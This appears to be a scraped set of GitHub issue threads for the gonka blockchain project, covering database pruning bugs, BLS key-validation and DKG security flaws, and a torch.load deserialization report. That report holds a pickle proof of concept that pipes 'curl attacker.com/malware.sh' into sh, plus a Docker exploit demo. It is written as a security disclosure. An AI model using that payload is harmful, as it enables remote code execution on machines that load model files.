[!TIP] 2. better solution - Split Application.db for LOGICAL parts - that's has even more meaning.
InferenceKeeper, CollateralKeeper, and Training/Calculations modules are the main culprits of this growth.
Option1: // separate inference IAVL Store - even on separate disk/path.
inferenceStoreKey := storetypes.NewKVStoreKey(\"inference\")\napp.CommitMultiStore().MountStoreWithDB(inferenceStoreKey, storetypes.StoreTypeDB, pebbleDB)\n\npebbleDB, _ := dbm.NewDB(\"inference-data\", dbm.PebbleDB, appOpts.Get(\"data-dir\")+\"/inference\")\nor similar options // 1. Separate StoreKey + DB
inferenceStoreKey := sdk.NewKVStoreKey(inferencetypes.StoreKey)\n// 2. Mount with separate backend (Pebble/RocksDB)
app.MountStoreWithDB(inferenceStoreKey, sdk.StoreTypeIAVL, pebbleDB)\n// 3. Store v2 (SDK ≥0.50) separate SS/SC
app.SetStoreLoader(store.NewCommitKVStoreLoader(inferenceStoreKey, customPruningOptions))\n[!TIP] Result: separate file, for heavy inference.db - easy to prun, less locks, more performance. application.db will become 3-5x smaller and will be more properly used.
[!IMPORTANT] best in class solution - IAVLX (SDK v0.54+) commit 20ms vs 150++ms. iavl-cache-size = 5000000 в app.toml // more RAM better. inter-block-cache = true
p.s. I can make sample code for inference/end_blocker/keeper.go if needed. but upper should work fine and fix problem asap.
@gmorgachev commented 2026-03-04 00:00 UTCRoot cause: application.db growth — code review + live data TL;DR: Not a config problem. The pruning system silently deletes nothing on nodes that missed upgrade v0.2.4 (InferencePruningMax = 0 in DefaultEpochParams), and 9+ large collections were never pruned at all. Live data (epochs 158–188, gonka.gg): 2.3M inferences over 31 epochs, peak 241K/epoch Estimated application.db growth: ~7 GB (with payloads) / ~1.2 GB (metadata only) Root causes in code: InferencePruningMax = 0 by default (inference-chain/x/inference/types/params.go, DefaultEpochParams). On nodes without upgrade v0.2.4, pruning deletes zero records per block. The upgrade handler (app/upgrades/v0_2_4/upgrades.go) sets it to 5000 — but only for nodes that actually ran it. Deprecated payload fields still stored on-chain. inference.proto still carries prompt_payload, response_payload, original_prompt inside every Inference written to application.db via SetInference. 9 large epoch-keyed collections never pruned. EpochPerformanceSummaries, ConfirmationPoCEvents, PoCValidationsV2, MLNodeWeightDistributions and others in keeper.go have zero pruning logic and grow unboundedly regardless of config.
n nodes that missed upgrade v0.2.4
This parameter stored on chain => all nodes who in sync with chain will use the one from 0.2.4 upgrade handler
@Lelouch33 commented 2026-03-04 09:32 UTC @gmorgachev commented 2026-03-05 06:23 UTC@Lelouch33 seems like that really solves problem, let's finalize details and make compartible release
@Lelouch33 commented 2026-03-05 23:22 UTChttps://github.com/gonka-ai/gonka/pull/867
🔄 Auto-synced from Issue #819 every hour.
"}, {"location": "community/issues/00819-applicationdb-growth-pruning/#summary", "title": "Summary", "text": "When a snapshot creation is missed (network failure, disk full, timeout, node restart), a gap appears in the pruneSnapshotHeights array. The existing chain-trimming logic in HandleSnapshotHeight stops at the first gap, so pruneSnapshotHeights[0] never advances — permanently freezing pruning and causing unbounded DB growth.
This fix adds a for loop that removes any stale leading height where the gap to the next element exceeds snapshotInterval. It handles all known failure scenarios: fresh state-sync ([0]=0), missed snapshots at any position, and multiple consecutive gaps.
GetPruningHeight uses pruneSnapshotHeights[0] to cap the maximum height IAVL will prune to:
snHeight := pruneSnapshotHeights[0] + snapshotInterval - 1\nHandleSnapshotHeight maintains the array: it appends the new height, sorts, and trims a contiguous chain from the start. The chain-trimming logic walks from [0] and removes elements as long as [k+1] == [k] + snapshotInterval. It breaks at the first gap.
The problem: when a snapshot is missed, a gap appears. Chain trimming stops at that gap — [0] never advances past it. All subsequent heights accumulate, but GetPruningHeight remains capped at the stale [0] + snapshotInterval - 1. IAVL versions pile up, DB grows without bound.
This affects two scenarios: 1. Fresh state-sync: NewManager initializes the array with [0]. The first real snapshot (e.g., height 2900000) creates a massive gap [0, 2900000] — chain trimming never removes 0. 2. Missed snapshots during operation: if snapshot creation takes longer than the snapshot interval (common when snapshot creation overlaps with the next interval), a height is skipped, creating a gap mid-array that permanently stalls pruning.
application.db, key s/prunesnapshotheights)", "text": "104 heights, 4 gaps:\n[0] = 2809000 → [1] = 2811000 (missing 2810000)\n[13] = 2823000 → [14] = 2825000 (missing 2824000)\n[22] = 2833000 → [23] = 2835000 (missing 2834000)\n[86] = 2898000 → [87] = 2900000 (missing 2899000)\n\nGetPruningHeight capped at: 2809000 + 1000 - 1 = 2809999\nCurrent height: ~2918000 → ~108,000 unpruned versions\nDB growth: 420 GB → 611 GB (and rising)\nGaps are caused by snapshot creation conflicts — creation takes 1.5–2.5h while snapshot-interval=1000 blocks is ~1.4h, so roughly every other snapshot fails to complete before the next one starts.
Add a for loop at the beginning of HandleSnapshotHeight (after sort, before chain trimming) that evicts stale leading heights:
// Remove stale leading heights where the gap to the next element\n// exceeds snapshotInterval — indicating missed intermediate snapshots\n// (network failure, disk full, node restart, fresh state-sync, etc.).\n// Without this, pruneSnapshotHeights[0] permanently caps\n// GetPruningHeight at [0] + snapshotInterval - 1.\nfor len(m.pruneSnapshotHeights) > 1 &&\n m.pruneSnapshotHeights[1]-m.pruneSnapshotHeights[0] > int64(m.snapshotInterval) {\n m.pruneSnapshotHeights = m.pruneSnapshotHeights[1:]\n}\nThe rest of HandleSnapshotHeight (chain trimming) is unchanged.
How it works: - The loop checks if the gap between [0] and [1] is larger than snapshotInterval - If yes, [0] is stale (intermediate snapshots were missed) — remove it - Repeat until the leading pair is contiguous or only one element remains - Then the existing chain-trimming logic runs normally
What it covers:
┌─────────────────────────────┬──────────────────────────────────────────────────────────────┬─────────┐\n│ Scenario │ Example │ Handled │\n├─────────────────────────────┼──────────────────────────────────────────────────────────────┼─────────┤\n│ Fresh state-sync ([0]=0) │ [0, 2900000] → gap 2900000 > 1000 → remove 0 │ Yes │\n│ Single missed snapshot │ [2809000, 2811000, ...] → gap 2000 > 1000 → remove 2809000 │ Yes │\n│ Multiple consecutive gaps │ Gaps at positions 0, 13, 22, 86 → resolved progressively │ Yes │\n│ Normal operation (no gaps) │ [2900000, 2901000] → gap 1000, not > 1000 → no-op │ Yes │\n└─────────────────────────────┴──────────────────────────────────────────────────────────────┴─────────┘\nMid-array gaps are handled progressively: each HandleSnapshotHeight call resolves the leading gap, then chain trimming runs until the next gap. On the next call, that gap becomes the new leading gap and gets resolved. With snapshotInterval=1000, all gaps are cleared within a few snapshots.
The fix patches cosmossdk.io/store@v1.1.2 via Go replace directive:
// inference-chain/go.mod\nreplace cosmossdk.io/store v1.1.2 => ./store-patched\nstore-patched/ is a copy of the upstream module with only pruning/manager.go modified.
Test server — 3 nodes running in parallel, all state-synced, GoLevelDB, pruning=custom, keep-recent=1000, interval=100. Measured at height ~2927190:
┌────────┬─────────────────────────────────┬────────────────┐\n│ Node │ Version │ application.db │\n├────────┼─────────────────────────────────┼────────────────┤\n│ node-d │ Stock (no fix) │ 87 GB (growing)│\n│ node-c │ Fix applied │ 24 GB (stable) │\n│ node-e │ Fix applied (fresh state-sync) │ 33 GB (stable) │\n└────────┴─────────────────────────────────┴────────────────┘\nNode-e was deployed as a fresh state-sync from height 2919000 — synced successfully, blocks processing, pruning active. The 33 GB size (vs node-c's 24 GB) is due to GoLevelDB compaction lag after recent state-sync restore.
Production (height 2927195) — deployed via cosmovisor binary replacement. application.db = 37 GB, stable.
Production DB recovery after fix:
611 GB → 498 GB → 425 GB → 430 GB → 37 GB (stable after full compaction)\nInput: [2809000, 2811000, 2812000, ..., 2898000, 2900000, ..., 2916000]\n\nGap removal (for loop):\n Iter 1: 2811000-2809000=2000 > 1000 → remove 2809000\n Iter 2: 2812000-2811000=1000, not > 1000 → stop\n Result: [2811000, 2812000, ..., 2916000]\n\nChain trimming:\n k=1: 2812000 == 2811000+1000 OK\n ...\n k=12: 2823000 == 2822000+1000 OK\n k=13: 2825000 != 2823000+1000 → break\n Result: [2823000, 2825000, ..., 2916000]\n\nAfter first HandleSnapshotHeight: [0]=2823000\nGetPruningHeight: 2823000+999 = 2823999 (was 2809999)\n\nNext call removes gap at 2823000→2825000:\nGetPruningHeight: 2833999\n\nAfter 4 snapshots (~4000 blocks, ~20 min): fully caught up.\nNewManager → [0]\n\nHandleSnapshotHeight(2900000):\n sort → [0, 2900000]\n Gap: 2900000-0=2900000 > 1000 → remove 0 → [2900000]\n Result: [2900000]\n\nHandleSnapshotHeight(2901000):\n sort → [2900000, 2901000]\n Gap: 1000, not > 1000 → skip\n Chain: contiguous → [2901000]\n[2900000] → HandleSnapshotHeight(2901000):\n sort → [2900000, 2901000]\n Gap: 1000, not > 1000 → skip\n Chain: contiguous → [2901000]\n\nSteady state: array has 1 element, advances with each snapshot.\nPR: https://github.com/gonka-ai/gonka/pull/843
@Mayveskii commented 2026-03-06 14:25 UTCMeasured data from live network may help narrow root causes here.
Epochs 161–191, 2,503,595 inferences: Miss rate: 3.25% (81,360 misses) Completion rate: mean 90.4%, σ=7.4%, range 72–99%
The σ=7.4% variance is the signal — not the mean. Some nodes miss 28% of assigned inferences while others miss 1%. GetRandomExecutor routes to both equally regardless.
Phase 4 of GiP #860 proposes GetQualityWeightedExecutor — routes traffic proportional to L9 completion rate. Projection: σ ↓40% as high-miss nodes receive less traffic and face economic incentive to improve.
Design + data: docs/specs/inference-quality-protocol.md (PR #859 branch) Discussion: #860
🔄 Auto-synced from Issue #820 every hour.
"}, {"location": "community/issues/00821-continuous-poc-design-implementation/", "title": "#821 — Continuous PoC design + implementation", "text": "Continuous PoC design + implementation #821 Open @tcharchian opened 2026-02-27 21:16 UTC 1 comment Updated 2026-03-03 10:33 UTC enhancement help wanted up-for-grabs Priority: High"}, {"location": "community/issues/00821-continuous-poc-design-implementation/#discussed-in-httpsgithubcomgonka-aigonkadiscussions802", "title": "Discussed in https://github.com/gonka-ai/gonka/discussions/802", "text": "Originally posted by **mtvnastya** February 24, 2026 This proposal is closely related to proposal for [multi-model PoC](https://github.com/gonka-ai/gonka/discussions/800) and can be seen as it’s continuation. Task: Design and implement a Continuous PoC based on the published proposal. Long-running effort; Many contributors are welcome."}, {"location": "community/issues/00821-continuous-poc-design-implementation/#comments-1", "title": "💬 Comments (1)", "text": "@AlexeySamosadov commented 2026-03-03 10:33 UTCPR: https://github.com/gonka-ai/gonka/pull/845
🔄 Auto-synced from Issue #821 every hour.
"}, {"location": "community/issues/00823-bridge-weak-dealer-approval-enables-threshold-signing-dos/", "title": "#823 — Bridge: Weak Dealer Approval Enables Threshold Signing DoS", "text": "Bridge: Weak Dealer Approval Enables Threshold Signing DoS #823 Closed @tcharchian opened 2026-02-27 22:24 UTC 4 comments Updated 2026-04-02 23:28 UTC Priority: HighLocations: - https://github.com/gonka-ai/gonka/blob/82c43a42c3c2f49b56ee8a32e6458480daf39ca9/inference-chain/x/bls/keeper/phase_transitions.go#L169-L169 - https://github.com/gonka-ai/gonka/blob/82c43a42c3c2f49b56ee8a32e6458480daf39ca9/inference-chain/x/bls/keeper/threshold_signing.go#L296-L302
Categories: - Logical-issue - Denial-of-service
Description Dealer validation uses an unweighted majority of submitted DealerValidity votes and does not verify per-recipient shares against commitments. A malicious dealer can send valid shares to ~50% of recipients and garbage to the rest.
The dealer (or a colluder) can vote “true,” giving itself a bare majority among submitters (>50%). The dealer is marked \"valid\" and included in the group key even though many recipients lack usable shares.
inference-chain/x/bls/keeper/phase_transitions.go
Later, the dealer (or colluder) withholds its partial signature, pushing the usable signers below the >50% slot threshold. Threshold-signing requests then stall and expire—a sustained liveness/DoS risk, even with <50% malicious participants plus abstentions.
inference-chain/x/bls/keeper/threshold_signing.go
I'd like to help with this
825 (WIP) @libermans commented 2026-03-02 05:10 UTC@x0152 Can you please explain, how does proof work in your implementation?
@x0152 commented 2026-03-02 11:52 UTCIt's not finished yet but what I already made: 1. Proof for true votes - when a participant votes true for a dealer, they must sign a message using shares they got from that dealer. The chain checks this signature against the dealer's public commitments. If signature is invalid or missing, the vote is rejected. So you can't vote true without actually having valid shares 2. Slot-weighted quorum - dealer approval is now counted by slots, not by number of participants. The dealer also can't approve itself
Also added a description to the PR
@akup commented 2026-03-02 16:19 UTCBut the real problem in the issue is, that participant should prove that they have invalid share.A malicious dealer can send valid shares to ~50% of recipients and garbage to the rest. Malicious dealer doesn't need that participants with invalid shares vote true for him, it isn't key for the attack.
And participants can open invalid shares to chain (as they are invalid they could be shown as they are not the secret) to prove the dealer is the attacker. So participants should check first the share against commitment, and if it doesn't match, they should send the invalid share to chain, if there is at least one invalid share, exclude the attacker (taking his collateral)
p.s.: It seams the problem is already solved here: https://github.com/gonka-ai/gonka/commit/6211d32109e89a913d2070d05e54d7bbb6fe8951#diff-89c99e1a367a5b8cc41a94e676865a63e9ed86554cdbf04000b4d5297381b8f9
But InvalidDealers should be tracked there to take collateral from them and exclude from the epoch
🔄 Auto-synced from Issue #823 every hour.
"}, {"location": "community/issues/00834-we-could-not-send-vesting-to-many-users-in-one-proposal/", "title": "#834 — We could not send vesting to many users in one proposal", "text": "We could not send vesting to many users in one proposal #834 Closed @huxuxuya opened 2026-03-01 22:24 UTC 0 comments Updated 2026-03-12 20:29 UTCProblem We had only single-recipient vesting transfer. So if we needed to vest tokens to many addresses, we had to add many separate messages into one governance proposal.
Main limitation Governance proposals have practical size/count limits. With many recipients, the proposal became too large (too many messages), and distribution could not be done in one clean operation.
Why we solved it We needed a simple way to send vesting to many addresses at once, in one proposal, to avoid splitting into multiple proposals and reduce operational risk.
Target result Add one batch vesting message so one proposal can include many recipients and execute the distribution in a single run.
Assign this task to me plz.
🔄 Auto-synced from Issue #834 every hour.
"}, {"location": "community/issues/00839-loginfo-tests-on-testnet-for-startinference-and-finishinfere/", "title": "#839 — LogInfo tests on testnet for StartInference and FinishInference", "text": "LogInfo tests on testnet for StartInference and FinishInference #839 Closed @maria-mitina opened 2026-03-02 15:50 UTC 3 comments Updated 2026-03-19 06:35 UTCTo investigate the impact of log_format = \"json\" vs log_format = \"plain\" on node performance, a number of experiments were executed on Testnet. This is not compared to mainnet performance, however in isolation supports the same conclusion. We could achieve around 3x improvement under inference to performance of LogInfo, when switching to log_format = \"json\".
"}, {"location": "community/issues/00839-loginfo-tests-on-testnet-for-startinference-and-finishinfere/#comments-3", "title": "💬 Comments (3)", "text": "@maria-mitina commented 2026-03-02 15:51 UTCShould we continue with the log_level=info and log_level=error?
@hleb-albau commented 2026-03-02 16:34 UTCx3 for start/finish inference, or x3 for logging?
@maria-mitina commented 2026-03-03 08:44 UTC@hleb-albau 3x improvement under inference to performance of LogInfo
🔄 Auto-synced from Issue #839 every hour.
"}, {"location": "community/issues/00848-security-bls-group-key-validation-falls-back-to-self-validat/", "title": "#848 — Security: BLS group key validation falls back to self-validation when previous epoch data is missing", "text": "Security: BLS group key validation falls back to self-validation when previous epoch data is missing #848 Closed @Mayveskii opened 2026-03-03 12:03 UTC 2 comments Updated 2026-03-12 22:56 UTC"}, {"location": "community/issues/00848-security-bls-group-key-validation-falls-back-to-self-validat/#location", "title": "Location", "text": "inference-chain/x/bls/keeper/msg_server_group_validation.go — lines 64–74
When GetEpochBLSData fails with ErrEpochBLSDataNotFound for the previous epoch, the code silently falls back to using the new epoch's own data as the previous epoch:
previousEpochBLSData, err := ms.GetEpochBLSData(ctx, previousEpochId)\nif err != nil {\n if errors.Is(err, types.ErrEpochBLSDataNotFound) {\n previousEpochBLSData = newEpochBLSData // fallback to self\n }\n}\nThis creates circular self-validation: - Participants are looked up from previousEpochBLSData — which is now the new epoch's own participants - Slot public keys for per-slot signature verification come from newEpochBLSData.SlotPublicKeys - The final aggregated signature is verified against previousEpochBLSData.GroupPublicKey — which is now the new epoch's own group key
Result: any participant in epoch N can sign and submit a valid group key validation for epoch N using epoch N's own keys — completely bypassing the intended cross-epoch chain-of-custody.
"}, {"location": "community/issues/00848-security-bls-group-key-validation-falls-back-to-self-validat/#when-this-triggers", "title": "When This Triggers", "text": "Critical (security) — the cryptographic chain-of-custody for group key transitions is bypassed. A single malicious participant can self-certify a new group key without legitimate cross-epoch consensus.
"}, {"location": "community/issues/00848-security-bls-group-key-validation-falls-back-to-self-validat/#fix-direction", "title": "Fix Direction", "text": "Return an error instead of silently falling back:
if errors.Is(err, types.ErrEpochBLSDataNotFound) {\n return nil, fmt.Errorf(\"previous epoch %d BLS data not found, cannot validate group key\", previousEpochId)\n}\nIf bootstrapping for the very first epoch is required, handle it explicitly with a dedicated flag/check rather than a silent fallback.
"}, {"location": "community/issues/00848-security-bls-group-key-validation-falls-back-to-self-validat/#comments-2", "title": "💬 Comments (2)SummaryFixFiles changed", "text": "@Mayveskii commented 2026-03-03 12:15 UTCInvestigated the fallback path at line 74 of msg_server_group_validation.go.
When previousEpochBLSData is not found, the code assigns previousEpochBLSData = newEpochBLSData. This means: 1. verifyBLSPartialSignatureBlst checks signatures against the new epoch's own slot keys 2. verifyFinalSignatureBlst checks the aggregate against the new epoch's own GroupPublicKey
A validator who controls epoch N's DKG output can trigger this path to get epoch N+1's key accepted without any external verification. Fix: return error when previous epoch data is missing.
PR: https://github.com/Mayveskii/gonka/pull/new/fix/848-bls-self-validation
@Mayveskii commented 2026-03-03 12:16 UTCInvestigated the fallback path at line 74 of msg_server_group_validation.go.
When previousEpochBLSData is not found, the code assigns previousEpochBLSData = newEpochBLSData. This means:
verifyBLSPartialSignatureBlst checks signatures against the new epoch's own slot keysverifyFinalSignatureBlst checks the aggregate against the new epoch's own GroupPublicKeyA validator who controls epoch N's DKG output can trigger this path to get epoch N+1's key accepted without any external verification. Fix: return error when previous epoch data is missing.
PR: https://github.com/Mayveskii/gonka/pull/new/fix/848-bls-self-validation
Closes #848
When GetEpochBLSData for previousEpochId returned ErrEpochBLSDataNotFound, the handler silently fell back to previousEpochBLSData = newEpochBLSData.
This allowed any epoch to self-certify its own group key: - partial signatures were verified against the new epoch's own individual keys - the aggregated final signature was verified against the new epoch's own GroupPublicKey
The chain-of-trust between epochs was completely bypassed.
Removed the fallback entirely. When previous epoch data is unavailable, the handler now returns an explicit error. This is the only correct behavior — group key validation is meaningless without an independent previous epoch as the verifier.
inference-chain/x/bls/keeper/msg_server_group_validation.goerrors import🔄 Auto-synced from Issue #848 every hour.
"}, {"location": "community/issues/00849-bug-dkg-permanent-failure-dealer-consensus-uses-unweighted-p/", "title": "#849 — Bug: DKG permanent failure — dealer consensus uses unweighted participant votes but quorum uses slot weights", "text": "Bug: DKG permanent failure — dealer consensus uses unweighted participant votes but quorum uses slot weights #849 Closed @Mayveskii opened 2026-03-03 12:04 UTC 2 comments Updated 2026-03-12 22:56 UTC"}, {"location": "community/issues/00849-bug-dkg-permanent-failure-dealer-consensus-uses-unweighted-p/#location", "title": "Location", "text": "inference-chain/x/bls/keeper/phase_transitions.go — lines 74 and 295–318
The DKG pipeline uses two independent threshold checks with different weighting schemes that are fundamentally inconsistent:
// 1. Transition to VERIFYING — slot-weighted quorum (correct)\nif slotsWithDealerParts > epochBLSData.ITotalSlots/2 { ... }\n\n// 2. Dealer consensus — unweighted (count of participants, NOT slots)\ndealerIsValid := totalVotes > 0 && validVotes > totalVotes/2\nSuppose: - Participant A holds 60% of total slots - Participants B, C, D each hold ~13% of slots
slotsWithDealerParts > ITotalSlots/2 → DKG transitions to VERIFYING ✓DetermineValidDealersWithConsensus marks all dealers invalidComputeGroupPublicKey returns \"no valid dealers found\"CompleteDKG returns an error → DKG permanently stuck for this epochB, C, D together hold only ~40% of slots and could never form a DKG quorum alone — yet they can destroy the epoch's DKG by voting as a participant-count majority.
"}, {"location": "community/issues/00849-bug-dkg-permanent-failure-dealer-consensus-uses-unweighted-p/#root-cause", "title": "Root cause", "text": "DetermineValidDealersWithConsensus counts one vote per participant regardless of slot weight:
for _, verification := range epochBLSData.VerificationSubmissions {\n if verification != nil && len(verification.DealerValidity) > 0 {\n totalVotes++\n if verification.DealerValidity[dealerIndex] {\n validVotes++\n }\n }\n}\ndealerIsValid := totalVotes > 0 && validVotes > totalVotes/2\nWhile everywhere else in the DKG pipeline thresholds are measured in slots, not participant count.
"}, {"location": "community/issues/00849-bug-dkg-permanent-failure-dealer-consensus-uses-unweighted-p/#impact", "title": "Impact", "text": "High (DoS) — a minority coalition of participants (by slot weight) can permanently break DKG for an epoch by voting down dealers that collectively hold a slot majority. This blocks threshold signing for the entire epoch.
"}, {"location": "community/issues/00849-bug-dkg-permanent-failure-dealer-consensus-uses-unweighted-p/#fix-direction", "title": "Fix Direction", "text": "Replace the unweighted participant vote count with a slot-weighted vote in DetermineValidDealersWithConsensus, consistent with how quorum is measured everywhere else:
validSlots := uint32(0)\ntotalSlots := uint32(0)\n\nfor i, verification := range epochBLSData.VerificationSubmissions {\n if verification != nil && len(verification.DealerValidity) > 0 {\n participant := epochBLSData.Participants[i]\n slots := participant.SlotEndIndex - participant.SlotStartIndex + 1\n totalSlots += slots\n if dealerIndex < len(verification.DealerValidity) && verification.DealerValidity[dealerIndex] {\n validSlots += slots\n }\n }\n}\n\ndealerIsValid := totalSlots > 0 && validSlots > totalSlots/2\nFix submitted in PR #852
@x0152 commented 2026-03-12 20:08 UTCHi @Mayveskii
As discussed in #852, this problem is already covered by issue #823 Could you please close this issue?
Thanks!
P.S. I think #848 could be closed as well (as we discussed in #851)
🔄 Auto-synced from Issue #849 every hour.
"}, {"location": "community/issues/00850-bug-managedstorage-silently-skips-failed-epoch-pruning-minpr/", "title": "#850 — Bug: ManagedStorage silently skips failed epoch pruning — minPruned advanced before goroutines complete", "text": "Bug: ManagedStorage silently skips failed epoch pruning — minPruned advanced before goroutines complete #850 Open @Mayveskii opened 2026-03-03 12:04 UTC 0 comments Updated 2026-03-03 12:04 UTC🔄 Auto-synced from Issue #850 every hour.
"}, {"location": "community/issues/00850-bug-managedstorage-silently-skips-failed-epoch-pruning-minpr/#location", "title": "Location", "text": "decentralized-api/payloadstorage/managed_storage.go — lines 129–138
In ManagedStorage.cleanup(), m.minPruned is advanced to threshold before the pruning goroutines complete:
for epoch := m.minPruned; epoch < threshold; epoch++ {\n go func(e uint64) {\n if err := m.storage.PruneEpoch(context.Background(), e); err != nil {\n logging.Warn(\"Auto-prune failed\", types.PayloadStorage, \"epochId\", e, \"error\", err)\n // error only logged — epoch is silently skipped\n }\n }(epoch)\n}\nm.minPruned = threshold // ← advanced immediately, goroutines still running\nIf any PruneEpoch goroutine fails (DB connection lost, file I/O error, PostgreSQL timeout), that epoch is permanently skipped:
m.minPruned is already past itmaxPruneLookback = 10 guard does not help — it only prevents jumping too far forward on first run, not recovering already-skipped epochscleanup() tick starts from the new m.minPruned — the failed epoch is never retriedcleanup() holds m.mu.Lock() while spawning goroutines, but the goroutines themselves run without the lock. If goroutines from a previous 30-second tick are still running when the next tick fires, multiple goroutines can call PruneEpoch for the same epoch concurrently.
High — off-chain payload data for failed epochs accumulates on disk indefinitely. Under sustained prune failures (e.g. intermittent DB connectivity), this leads to unbounded disk growth and eventual disk exhaustion on API nodes.
"}, {"location": "community/issues/00850-bug-managedstorage-silently-skips-failed-epoch-pruning-minpr/#fix-direction", "title": "Fix Direction", "text": "Only advance m.minPruned after confirming successful pruning. Simplest correct approach — run pruning synchronously within the lock:
for epoch := m.minPruned; epoch < threshold; epoch++ {\n if err := m.storage.PruneEpoch(context.Background(), epoch); err != nil {\n logging.Warn(\"Auto-prune failed\", types.PayloadStorage, \"epochId\", epoch, \"error\", err)\n break // stop advancing minPruned past the failed epoch\n }\n m.minPruned = epoch + 1\n logging.Info(\"Auto-pruned epoch\", types.PayloadStorage, \"epochId\", epoch)\n}\nAlternatively, if async pruning is required for performance, track per-epoch completion via a channel or atomic and only advance m.minPruned for contiguously completed epochs.
In order to make voting more convenient for the contributors, we are exploring delegation of voting rights. The flow of the delegation is the following: Granter gives grantee permission to send specific message types on their behalf. The grantee uses MsgExec to run those messages; the chain checks the authz grant and treats the message as coming from the granter.
Permissions needs to: 1. be granted 2. allow action under permission to be executed 3. be revoked if necessary
Testnet will be used for the flow verification.
"}, {"location": "community/issues/00857-test-voting-delegation/#comments-4", "title": "💬 Comments (4)", "text": "@maria-mitina commented 2026-03-04 12:15 UTCall test cases on testnet PASSED with a caveat that the TX does not fail explicitly. (Expected: Tx fails (e.g. “authorization not found” / “unauthorized”). Reality: Nothing indicating that the voting did not go through)
1. [pass] Happy path
2. [pass] Revoke
3. [pass] Overwrite / double vote
Grantee votes Yes via authz exec → granter votes No (or Yes) with main key.
Expected: second vote replaces first (only one vote per address)
Grantee votes → revoke → granter votes with main key.
Expected: Granter’s direct vote is valid; grantee can no longer vote (revoke test).
4. [pass] Wrong signer / wrong grantee
JSON has grantee = A, but you sign with key for B (or granter key).
Expected: Tx fails (e.g. “authorization not found” / “unauthorized”). ——— fail here! Nothing indicating that the voting did not go through
grantee in JSON is not the address that was actually granted.
Expected: Tx fails when chain checks authz.
Grant is for MsgVote; grantee sends vote for proposal_id that doesn’t exist or is not in voting.
Nothing indicating that the voting did not go through
Grant is only for /cosmos.gov.v1beta1.MsgVote. Grantee sends authz exec with a different message (e.g. Send).
Nothing indicating that the voting did not go through - however the money was not sent
Create grant with short expiration, wait until after expiry, then grantee votes.
Nothing indicating that the voting did not go through
8. [pass] Multiple grantees
Expected: second exec overwrites.
9. [pass] Tally and visibility
9. Summary table (for your setup)
Test | Action | Expected -- | -- | -- Happy path | Grant → grantee exec (Yes) | Success; granter has Yes on proposal Revoke | Revoke → grantee exec | Fail (no permission) Overwrite (no revoke) | Grantee votes → granter votes on main | Second vote replaces or fails (define) Overwrite (with revoke) | Grantee votes → revoke → granter votes | Granter vote succeeds; grantee cannot vote Change vote | Grantee Yes → grantee No (same proposal) | Replace or “not allowed” (define) Wrong signer | exec with --from ≠ grantee | Fail Wrong grantee in JSON | grantee ≠ actual grantee | Fail Wrong proposal | Vote for invalid/wrong proposal_id | Fail Wrong message type | Exec a non‑granted message type | Fail Expired grant | Vote after grant expiration | Fail Tally | Query votes after success | Granter appears with correct option @tcharchian commented 2026-03-05 23:46 UTCHey @mayveskii, could you please clarify why you referenced this issue in [d4e74c4] and [e5995db]? Do you have any issues with delegating?
@Mayveskii commented 2026-03-06 00:05 UTCHey @Mayveskii, could you please clarify why you referenced this issue in [d4e74c4] and [e5995db]? Do you have any issues with delegating?
Hi, Tanya! I'm interested in participating as a grantee in the delegation test.
My address: gonka1l38meyucc0ajwdhn6ssevsj0xpvm3dysu59mh8 Account registered on-chain: account_number 1130693
Could you also send a small amount of tokens to this address so I can participate? Currently working on GIP #859 (semantic cache) and need tokens for both the delegation test and inference validation.
@Mayveskii commented 2026-03-06 00:15 UTCHey @Mayveskii, could you please clarify why you referenced this issue in [d4e74c4] and [e5995db]? Do you have any issues with delegating?
I referenced it intentionally — while working on GIP #859 I found that MsgSubmitCacheQualitySummary was missing from InferenceOperationKeyPerms, which was blocking the Grant→Exec→Revoke flow you're testing in #857. Fixed it as part of the same permissions audit. No issues with delegating.
🔄 Auto-synced from Issue #857 every hour.
"}, {"location": "community/issues/00863-potential-rce-via-torchload-in-ml-training-pipeline/", "title": "#863 — Potential RCE via `torch.load()` in ML Training Pipeline", "text": "Potential RCE via `torch.load()` in ML Training Pipeline #863 Closed @VVSMEN opened 2026-03-05 10:44 UTC 1 comment Updated 2026-03-12 20:25 UTC Priority: Low"}, {"location": "community/issues/00863-potential-rce-via-torchload-in-ml-training-pipeline/#summary", "title": "Summary", "text": "This report describes a potential unsafe deserialization issue identified during static/code review. It has not been verified on testnet. The function torch.load() is used to load saved weights and training states without any protection mechanisms, which theoretically allows an attacker to inject and execute arbitrary code when loading model files. This vector could be exploited to create a \"Dormant + Trigger\" worm that silently infects network nodes and later paralyzes the network on command. This matches the class of issues addressed by PyTorch security advisory GHSA-53q9-r3pm-6pq6 (CVE-2025-32434).
Risk Level: Medium (theoretical, requires verification on testnet) Affected Components: mlnode/packages/train/src/zeroband/monitor/checkpoint.py, mlnode/packages/train/src/zeroband/monitor/eval.py
torch.load() used?", "text": "A grep search revealed the following occurrences: - checkpoint.py lines 301, 308, 336 – loading dataloader state, rank state, and main checkpoint. - eval.py line 62 – loading model weights for validation.
Code snippet (eval.py, line 62):
model.load_state_dict(torch.load(f)[\"model_state_dict\"])\nBy default, torch.load() uses the pickle module, which can execute arbitrary code via the __reduce__() method. An attacker can craft a malicious .pt file that, when loaded, runs a system command.
Proof of Concept (not executed on testnet):
import torch\nimport os\n\nclass Evil:\n def __reduce__(self):\n return (os.system, ('curl attacker.com/malware.sh | sh',))\n\ntorch.save(Evil(), 'fake_model.pt')\n# torch.load('fake_model.pt') → code executes\nResult: The entire network is paralyzed, and the attack source is difficult to trace from logs.
"}, {"location": "community/issues/00863-potential-rce-via-torchload-in-ml-training-pipeline/#lack-of-protection", "title": "Lack of Protection", "text": "The weights_only=True flag is not used in any torch.load() call. A grep for weights_only returned no results.
Analysis of the saving functions (torch.save) shows that only dictionaries and tensors are persisted – structures fully compatible with weights_only=True. Adding the flag will not break existing functionality.
Evidence (checkpoint.py, lines 250–260, inside _save() method): the checkpoint is written to path / \"checkpoint.pth\" with:
checkpoint = {\n \"model_state_dict\": model_state_dict,\n \"optimizer_state_dict\": self.optimizer.state_dict(),\n \"scheduler_state_dict\": self.scheduler.state_dict(),\n \"training_progress\": self.training_progress.state_dict(),\n}\ntorch.save(checkpoint, path / \"checkpoint.pth\")\nIn an isolated Docker container, the effectiveness of weights_only=True was verified:
Without protection:
docker run --rm pytorch/pytorch:latest python3 -c \"\nimport torch, os\nclass Evil:\n def __reduce__(self):\n return (os.system, ('echo EXPLOITED',))\ntorch.save(Evil(), 'bomb.pt')\ntorch.load('bomb.pt') # → EXPLOITED\n\"\nWith protection:
